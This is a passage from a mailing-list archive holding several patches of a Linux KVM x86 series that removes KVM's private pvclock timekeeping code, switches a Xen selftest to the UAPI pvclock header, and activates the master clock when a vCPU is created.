	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 35/36] KVM: x86: Remove pvclock_gtod_data and private timekeeping code
Date: Fri,  3 Jul 2026 22:18:14 +0100
Message-ID: <20260703212145.343527-36-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-ebf023/1783113822-AFD241CC-A09A4783/0/0
X-purgate-type: clean
X-purgate-size: 6507

From: David Woodhouse <dwmw@amazon.co.uk>

Remove the now-unused KVM-private timekeeping infrastructure:

 - struct pvclock_clock and struct pvclock_gtod_data
 - update_pvclock_gtod() and its seqcount-protected state copy
 - read_tsc() (KVM's private TSC reader with cycle_last clamping)
 - vgettsc() (KVM's private clocksource interpolation)
 - do_kvmclock_base(), do_monotonic(), do_realtime()

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Assisted-by: Kiro:claude-opus-4.6-1m
---
 arch/x86/kvm/x86.c | 178 +--------------------------------------------
 1 file changed, 1 insertion(+), 177 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index c67655f8e078..58016af64932 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -2347,58 +2347,6 @@ static int do_set_msr(struct kvm_vcpu *vcpu, unsigned index, u64 *data)
 	return kvm_set_msr_ignored_check(vcpu, index, *data, true);
 }
 
-struct pvclock_clock {
-	int vclock_mode;
-	u64 cycle_last;
-	u64 mask;
-	u32 mult;
-	u32 shift;
-	u64 base_cycles;
-	u64 offset;
-};
-
-struct pvclock_gtod_data {
-	seqcount_t	seq;
-
-	struct pvclock_clock clock; /* extract of a clocksource struct */
-	struct pvclock_clock raw_clock; /* extract of a clocksource struct */
-
-	ktime_t		offs_boot;
-	u64		wall_time_sec;
-};
-
-static struct pvclock_gtod_data pvclock_gtod_data;
-
-static void update_pvclock_gtod(struct timekeeper *tk)
-{
-	struct pvclock_gtod_data *vdata = &pvclock_gtod_data;
-
-	write_seqcount_begin(&vdata->seq);
-
-	/* copy pvclock gtod data */
-	vdata->clock.vclock_mode	= tk->tkr_mono.clock->vdso_clock_mode;
-	vdata->clock.cycle_last		= tk->tkr_mono.cycle_last;
-	vdata->clock.mask		= tk->tkr_mono.mask;
-	vdata->clock.mult		= tk->tkr_mono.mult;
-	vdata->clock.shift		= tk->tkr_mono.shift;
-	vdata->clock.base_cycles	= tk->tkr_mono.xtime_nsec;
-	vdata->clock.offset		= tk->tkr_mono.base;
-
-	vdata->raw_clock.vclock_mode	= tk->tkr_raw.clock->vdso_clock_mode;
-	vdata->raw_clock.cycle_last	= tk->tkr_raw.cycle_last;
-	vdata->raw_clock.mask		= tk->tkr_raw.mask;
-	vdata->raw_clock.mult		= tk->tkr_raw.mult;
-	vdata->raw_clock.shift		= tk->tkr_raw.shift;
-	vdata->raw_clock.base_cycles	= tk->tkr_raw.xtime_nsec;
-	vdata->raw_clock.offset		= tk->tkr_raw.base;
-
-	vdata->wall_time_sec            = tk->xtime_sec;
-
-	vdata->offs_boot		= tk->offs_boot;
-
-	write_seqcount_end(&vdata->seq);
-}
-
 static s64 get_kvmclock_base_ns(void)
 {
 	/* Count up from boot time, but with the frequency of the raw clock.  */
@@ -3029,128 +2977,6 @@ static inline void adjust_tsc_offset_host(struct kvm_vcpu *vcpu, s64 adjustment)
 
 #ifdef CONFIG_X86_64
 
-static u64 read_tsc(void)
-{
-	u64 ret = (u64)rdtsc_ordered();
-	u64 last = pvclock_gtod_data.clock.cycle_last;
-
-	if (likely(ret >= last))
-		return ret;
-
-	/*
-	 * GCC likes to generate cmov here, but this branch is extremely
-	 * predictable (it's just a function of time and the likely is
-	 * very likely) and there's a data dependence, so force GCC
-	 * to generate a branch instead.  I don't barrier() because
-	 * we don't actually need a barrier, and if this function
-	 * ever gets inlined it will generate worse code.
-	 */
-	asm volatile ("");
-	return last;
-}
-
-static inline u64 vgettsc(struct pvclock_clock *clock, u64 *tsc_timestamp,
-			  int *mode)
-{
-	u64 tsc_pg_val;
-	long v;
-
-	switch (clock->vclock_mode) {
-	case VDSO_CLOCKMODE_HVCLOCK:
-		if (hv_read_tsc_page_tsc(hv_get_tsc_page(),
-					 tsc_timestamp, &tsc_pg_val)) {
-			/* TSC page valid */
-			*mode = VDSO_CLOCKMODE_HVCLOCK;
-			v = (tsc_pg_val - clock->cycle_last) &
-				clock->mask;
-		} else {
-			/* TSC page invalid */
-			*mode = VDSO_CLOCKMODE_NONE;
-		}
-		break;
-	case VDSO_CLOCKMODE_TSC:
-		*mode = VDSO_CLOCKMODE_TSC;
-		*tsc_timestamp = read_tsc();
-		v = (*tsc_timestamp - clock->cycle_last) &
-			clock->mask;
-		break;
-	default:
-		*mode = VDSO_CLOCKMODE_NONE;
-	}
-
-	if (*mode == VDSO_CLOCKMODE_NONE)
-		*tsc_timestamp = v = 0;
-
-	return v * clock->mult;
-}
-
-/*
- * As with get_kvmclock_base_ns(), this counts from boot time, at the
- * frequency of CLOCK_MONOTONIC_RAW (hence adding gtos->offs_boot).
- */
-static int do_kvmclock_base(s64 *t, u64 *tsc_timestamp)
-{
-	struct pvclock_gtod_data *gtod = &pvclock_gtod_data;
-	unsigned long seq;
-	int mode;
-	u64 ns;
-
-	do {
-		seq = read_seqcount_begin(&gtod->seq);
-		ns = gtod->raw_clock.base_cycles;
-		ns += vgettsc(&gtod->raw_clock, tsc_timestamp, &mode);
-		ns >>= gtod->raw_clock.shift;
-		ns += ktime_to_ns(ktime_add(gtod->raw_clock.offset, gtod->offs_boot));
-	} while (unlikely(read_seqcount_retry(&gtod->seq, seq)));
-	*t = ns;
-
-	return mode;
-}
-
-/*
- * This calculates CLOCK_MONOTONIC at the time of the TSC snapshot, with
- * no boot time offset.
- */
-static int do_monotonic(s64 *t, u64 *tsc_timestamp)
-{
-	struct pvclock_gtod_data *gtod = &pvclock_gtod_data;
-	unsigned long seq;
-	int mode;
-	u64 ns;
-
-	do {
-		seq = read_seqcount_begin(&gtod->seq);
-		ns = gtod->clock.base_cycles;
-		ns += vgettsc(&gtod->clock, tsc_timestamp, &mode);
-		ns >>= gtod->clock.shift;
-		ns += ktime_to_ns(gtod->clock.offset);
-	} while (unlikely(read_seqcount_retry(&gtod->seq, seq)));
-	*t = ns;
-
-	return mode;
-}
-
-static int do_realtime(struct timespec64 *ts, u64 *tsc_timestamp)
-{
-	struct pvclock_gtod_data *gtod = &pvclock_gtod_data;
-	unsigned long seq;
-	int mode;
-	u64 ns;
-
-	do {
-		seq = read_seqcount_begin(&gtod->seq);
-		ts->tv_sec = gtod->wall_time_sec;
-		ns = gtod->clock.base_cycles;
-		ns += vgettsc(&gtod->clock, tsc_timestamp, &mode);
-		ns >>= gtod->clock.shift;
-	} while (unlikely(read_seqcount_retry(&gtod->seq, seq)));
-
-	ts->tv_sec += __iter_div_u64_rem(ns, NSEC_PER_SEC, &ns);
-	ts->tv_nsec = ns;
-
-	return mode;
-}
-
 /*
  * Calculates the kvmclock_base_ns (CLOCK_MONOTONIC_RAW + boot time) and
  * reports the TSC value from which it do so. Returns true if host is
@@ -10394,11 +10220,9 @@ static DEFINE_IRQ_WORK(pvclock_irq_work, pvclock_irq_work_fn);
 static int pvclock_gtod_notify(struct notifier_block *nb, unsigned long unused,
 			       void *priv)
 {
+#ifdef CONFIG_X86_64
 	struct timekeeper *tk = priv;
 
-	update_pvclock_gtod(tk);
-
-#ifdef CONFIG_X86_64
 	kvm_host_vclock_mode =
 		tk->tkr_mono.clock->vdso_clock_mode;
 
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:23:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:23:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353895.1609655 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMX-00073z-K0; Fri, 03 Jul 2026 21:23:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353895.1609655; Fri, 03 Jul 2026 21:23:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMX-00073O-C9; Fri, 03 Jul 2026 21:23:53 +0000
Received: by outflank-mailman (input) for mailman id 1353895;
 Fri, 03 Jul 2026 21:23:52 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1wflMW-0006u2-4y
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:23:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflMV-001XO6-Gs; Fri, 03 Jul 2026 23:23:51 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a482856-5cb7-0a2a0a5109dd-0a2a4501b470-6
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:51 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a482866-400f-0a2a45010019-5a9b5cc79db4-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:51 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1wflKc-000000059Nw-41Pc; Fri, 03 Jul 2026 21:23:11 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKV-00000001RO1-49DP;
 Fri, 03 Jul 2026 22:21:47 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=hH+knYn8nTd+TnpfZC0k8V0fYdXUF8AZtKckehaVSow=; b=ag/RZYPYcN4fVre9EsOS+cOhgG
	SwK+HBXd1dgEt76oRFLUyPps4X6KBXzSXwZeG8u4bPBlS1lY6kQQvAcw3N7JBu/jgw5Oe4TmfsCbY
	cGsWk+shyieTGRcnmmdvQW3sYKZmi87gbtyJxTa9TzZQfKD6AJliCrRLqmacRh4oYvoPEd9VQZYHP
	+EBg6NrRc7a+h2xbCvCY2ik3TtHc7gqWcC1e6ZFSOkCHviU9BxUopFV+Av+rB7l/zJUI5VuUCrOlH
	sKBpN9uwsn5Q2ooxq1gQ5H+fO3FvAsMOJ+0Fskg5ceKnccVTWZJB6lTZZtjdD9iLxY8ozyYLaNuNg
	BCA7oq3A==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 04/36] KVM: selftests: Use UAPI pvclock-abi.h in xen_shinfo_test
Date: Fri,  3 Jul 2026 22:17:43 +0100
Message-ID: <20260703212145.343527-5-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-d62444/1783113831-83AC91E0-5144876C/0/0
X-purgate-type: clean
X-purgate-size: 1138

From: David Woodhouse <dwmw@amazon.co.uk>

Now that pvclock-abi.h is a UAPI header, use it in xen_shinfo_test.c
instead of locally duplicating the struct definitions.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 .../testing/selftests/kvm/x86/xen_shinfo_test.c | 17 +----------------
 1 file changed, 1 insertion(+), 16 deletions(-)

diff --git a/tools/testing/selftests/kvm/x86/xen_shinfo_test.c b/tools/testing/selftests/kvm/x86/xen_shinfo_test.c
index 5076f6a75455..2f241ca4f096 100644
--- a/tools/testing/selftests/kvm/x86/xen_shinfo_test.c
+++ b/tools/testing/selftests/kvm/x86/xen_shinfo_test.c
@@ -98,22 +98,7 @@ struct sched_poll {
 	u64 timeout;
 };
 
-struct pvclock_vcpu_time_info {
-	u32   version;
-	u32   pad0;
-	u64   tsc_timestamp;
-	u64   system_time;
-	u32   tsc_to_system_mul;
-	s8    tsc_shift;
-	u8    flags;
-	u8    pad[2];
-} __attribute__((__packed__)); /* 32 bytes */
-
-struct pvclock_wall_clock {
-	u32   version;
-	u32   sec;
-	u32   nsec;
-} __attribute__((__packed__));
+#include <asm/pvclock-abi.h>
 
 struct vcpu_runstate_info {
 	u32 state;
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:23:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:23:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353896.1609659 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMY-0007At-4J; Fri, 03 Jul 2026 21:23:54 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353896.1609659; Fri, 03 Jul 2026 21:23:54 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMX-00079A-Ue; Fri, 03 Jul 2026 21:23:53 +0000
Received: by outflank-mailman (input) for mailman id 1353896;
 Fri, 03 Jul 2026 21:23:52 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1wflMW-0006v5-KE
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:23:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflMW-000kw0-1F; Fri, 03 Jul 2026 23:23:52 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a482832-2eae-0a2a0a5409dd-0a2a450b92fe-38
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:52 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a482867-ac48-0a2a450b0019-5a9b5cc7a076-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:51 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1wflKc-000000059Ny-3C3B; Fri, 03 Jul 2026 21:23:38 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKW-00000001ROH-0fUc;
 Fri, 03 Jul 2026 22:21:48 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=v5twNDtsGAUIy7fgp54AfjET8D0248IAEiPECDLBGtY=; b=D3raY3MtOWfOex9Yyi+xdwR0oR
	uH968+lTAMciyl5YT2WpYYHWkV4kZsN8/ZHM2GRGrwrBj9ui5GYmD9fG5F2abnWtV4WzOKBvaPhA2
	Q0QkFD8RDTCmadp3BR9IBi8DDKktdVZV77/JpgdmtpX0sSXUozU4PcguLEOrURgnnk/FD1DDwvg11
	GhxzUTCQtWepYdtdsACcCD7qQa4cSuaOUyBMo3ystxYHRyA1I0arDUTqQRtVZrp2cyUSbbXeGS0Ie
	iCh4Z9aESsuLp+Ly/0B9HNI3BAqiQTUd6lP1/mWLYFZqczT8/eBEz4K0SdSrfmyS9ogn3nh0vMR4J
	oqQGhlcA==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 08/36] KVM: x86: Activate master clock immediately on vCPU creation
Date: Fri,  3 Jul 2026 22:17:47 +0100
Message-ID: <20260703212145.343527-9-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-42698a/1783113832-A7B30220-98314000/0/0
X-purgate-type: clean
X-purgate-size: 1254

From: David Woodhouse <dwmw@amazon.co.uk>

Previously, the master clock was only activated when the first vCPU
processed KVM_REQ_MASTERCLOCK_UPDATE during KVM_RUN. This meant that
KVM_GET_CLOCK could not return the host_tsc field until after the
first KVM_RUN, making it impossible for userspace to follow the
documented TSC migration procedure without a dummy vCPU run.

Fix this by calling kvm_update_masterclock() directly from
kvm_arch_vcpu_postcreate(), after kvm_synchronize_tsc() has already
set all_vcpus_matched_freq. This ensures the master clock is active
immediately, and KVM_GET_CLOCK returns a valid {host_tsc, realtime}
pair as soon as a vCPU exists.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/kvm/x86.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index ff45577ed90c..2039bd8518fb 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -13110,6 +13110,8 @@ void kvm_arch_vcpu_postcreate(struct kvm_vcpu *vcpu)
 		return;
 	vcpu_load(vcpu);
 	kvm_synchronize_tsc(vcpu, NULL);
+	if (!vcpu->kvm->arch.use_master_clock)
+		kvm_update_masterclock(vcpu->kvm);
 	vcpu_put(vcpu);
 
 	/* poll control enabled by default */
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:23:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:23:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353900.1609665 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMY-0007Fw-Rg; Fri, 03 Jul 2026 21:23:54 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353900.1609665; Fri, 03 Jul 2026 21:23:54 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMY-0007FO-CF; Fri, 03 Jul 2026 21:23:54 +0000
Received: by outflank-mailman (input) for mailman id 1353900;
 Fri, 03 Jul 2026 21:23:52 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1wflMW-0006v9-Mq
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:23:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflMW-00CejO-2E; Fri, 03 Jul 2026 23:23:52 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a48275c-bab6-0a2a0a5309dd-0a2a450c84ae-48
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:52 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a482867-f399-0a2a450c0019-5a9b5cc7bdf0-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:51 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1wflKd-000000059O3-3Oad; Fri, 03 Jul 2026 21:23:38 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKW-00000001ROl-2MEe;
 Fri, 03 Jul 2026 22:21:48 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=pFpNlCE+MJW0eKcLFgCCZwMvqjxRJ/tMcKVjrR0U73Q=; b=qTsfnPqYdMDx4eUygFXJFljz/J
	HPP9ML6utEPbyFF37E1VztfM6jgMhMBh95PQ1lNByOYWgIaCp6JWwXn4CRiSdDQFDIubsZaIb1glB
	Pu8lGpAoP1cmJkXCbNxwxUkWPL34CuBc3XRH6b6uwshPpJHdqsbbOUZ4TmvT2K+ejBCcOwlpZY1Jb
	GjvaQoRWKExUh3UM+KhXoM+5PJv34XQ5X20qE921jQFhjoHQPWuJAMkL9/oLGBiIyvViWkFfekSOH
	a1X/CfCJ/Z+HF+xC8jpSbTeTXXtYydVpu1qQp7aurcyiShWJWGhkMCvXINe0EysHUaf8mOrj5+V/i
	2xt5dohQ==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 15/36] KVM: x86: Fix compute_guest_tsc() to handle negative time deltas
Date: Fri,  3 Jul 2026 22:17:54 +0100
Message-ID: <20260703212145.343527-16-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
